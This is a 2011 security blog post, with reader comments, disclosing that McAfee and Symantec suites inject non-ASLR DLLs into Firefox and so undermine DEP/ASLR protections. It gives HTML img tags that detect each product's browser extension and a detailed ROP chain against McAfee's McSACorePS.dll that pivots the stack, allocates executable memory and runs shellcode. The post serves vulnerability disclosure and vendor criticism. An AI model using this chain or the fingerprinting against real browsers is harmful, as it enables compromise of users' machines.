Bypassing DEP/ASLR in browser exploits with McAfee and Symantec

[Also found this lingering on my hard drive from earlier this year, the recent exploits using Java to do the same thing reminded me of this. But I think it's still valid, so here you go. Useful if the target doesn't have Java I guess.]

Vanilla Firefox doesn't seem to be missing ASLR/DEP protection; the process will have DEP enabled and neither firefox.exe nor the DLL's seem to be missing ASLR. Headache for an exploit writer. However, many typical users and organizations will install a security suite from typical antivirus vendors like McAfee and Symantec.

Inspired by an old post from Brian Krebs ( I decided to take a look and see if the same issues were found in DLL's injected into browsers. So I obtained an evaluation copy of McAfee's premier product, their "Ultimate" "Total Protection" to test out (, and installed it on a Vista VM. You can see the results here:

Spectacular fail. McAfee injected no fewer than seven DLL's into Firefox, and no fewer than seven fail to enable ASLR. The attacker is provided megabytes of surface to launch an exploit off of.

It is easy for an attacker to detect if the McAfee extension has been loaded into the browser by referencing a resource in the extension. For example, the following short html file will alert the status of the extension (McAfee Site Advisor):

<img src="sacore:green.gif" onerror="alert('McAfee Site Advisor not Installed.')" onload="alert('McAfee Site Advisor Installed!')"></img>

Example below:

On your system: javascript not enabled?

In summary, McAfee's security suite opens a hole through the best defenses of Microsoft and Mozilla against exploitation; and this has been publicly reported in some way or another for most of a year. Yet McAfee has not fixed it. Perhaps because they, like I, am unaware of any public exploits taking advantage of it. So I modified an existing Firefox exploit to function on later versions of Windows with a standard ROP string to take advantage of this weakness.

The exploit has a modified heap spray targeting the McAfee Site Advisor dll; McSACorePS.dll (version dated November 24, 2010). It is unreliable, but hey, it's a proof of concept of what you can do after you get eip, not how to get it. And when it does get eip, it works great. The first address sprayed will be 3B693f68, which will be loaded into eax before the instruction "call dword ptr [eax+174h]" which will jump to the address stored at 0x3B6940DC. At this address, the heapspray will have stored 0x6940247B, and the code at 0x6940247B executes a stack pivot: MOV ESP,3B6940E0; RETN

which will direct the stack pointer to the heap, landing at the beginning of a series of return addresses that will allocate RWX memory, and copy and execute arbitrary shellcode:

 //first, allocate RWX memory
6940150C    ; pop esi; pop ebp; ret  (will be at 3B6940E0)
694090D4    ; address of va import 
3b693300    ; writable address with something smaller than 694090D8 in it 
69401CCD    ;  mov eax, [esi]; ... call eax;  add esi,4;  cmp esi, [ebp+arg_0];  jb 69401CCD;  pop esi;  pop ebp;  ret
00000000    ; lpAddress
00001000    ; dwSize
00001000    ; flAllocationType = MEM_COMMIT
00000040    ; flProtect = PAGE_EXECUTE_READWRITE
3b693400    ; esi
3b69411c    ; ebp;  address of args1 down below
// Then save the address of allocated memory
69401506    ; mov [ebp+8], eax;  mov eax, [ebp+8];  pop esi;  pop ebp;  ret
3b693400    ; esi
3b69411c    ; ebp;  address of args1 down below

// Now copy shellcode and execute
69406A8F  ; memcpy(dst ebp+8, src ebp+0x0c, bytes ebp+0x10)     will restore eax; ends with mov esp, ebp; pop ebp; ret

dontcare  // args1, at 3b69411c.
69401867  // jmp eax
my_alloc  // at args1+8; will be filled with address of new allocation
3b694130  // address of shellcode below
length(sc)// 32 bit length of shellcode

//shellcode at 3b694130

Well that was fun! How about Symantec's premier product for security-minded home customers? If advertising budget is any indicator of the level of effort put into a product, the "Comprehensive, easy-to-use" Norton 360 should be way ahead of the curve. So I downloaded and installed a trial version. Advertisements claim it's got extra online safety baked in especially for your kids! Let's see how that works out for you.

Wow. McAfee's product set the standard for fail, and Symantec just doubled it. It injected thirteen DLL's into Firefox, and once again, they all fail to enable ASLR. The attacker even more surface to launch an exploit off of.

And detection? Just as easy with resources from the extension:

<img src="symres:sb_nortoncertified.png" onerror="alert('Norton not Installed.')" onload="alert('Norton Installed!')"></img>

On your system: javascript not enabled?

Symantec's security suite also opens a hole through the best defenses of Microsoft and Mozilla against exploitation; and this has been publicly reported in some way or another for most of a year. Yet Symantec has not fixed it in their product either.

Update: After a lot of hard work with compatibility tests, Mozilla is going to fix this problem in a lot of cases. See for more details.

  1. #1 by wopot on July 5, 2011 - 5:38 pm

    do you tested other av´s

  2. #2 by scriptjunkie on July 5, 2011 - 8:30 pm

    I did not. I just thought those were the most popular.

  3. #3 by jon w on July 12, 2011 - 3:07 am

    Without an active surface area for sploits to attack, how could they be in business? Gotta preserve that meal ticket!
    (Also: blue screens from file system filter drivers are common av side effects)

  4. #4 by goodman on August 13, 2011 - 6:05 am

    how do you get the av resources from the extension.can you tell me the method,please send it to me,thank you.

    • #5 by scriptjunkie on August 14, 2011 - 1:47 am

      I simply picked an image that the AV’s added to Google search results. No fancy reverse engineering, although of course that can be done too.

Comments are closed.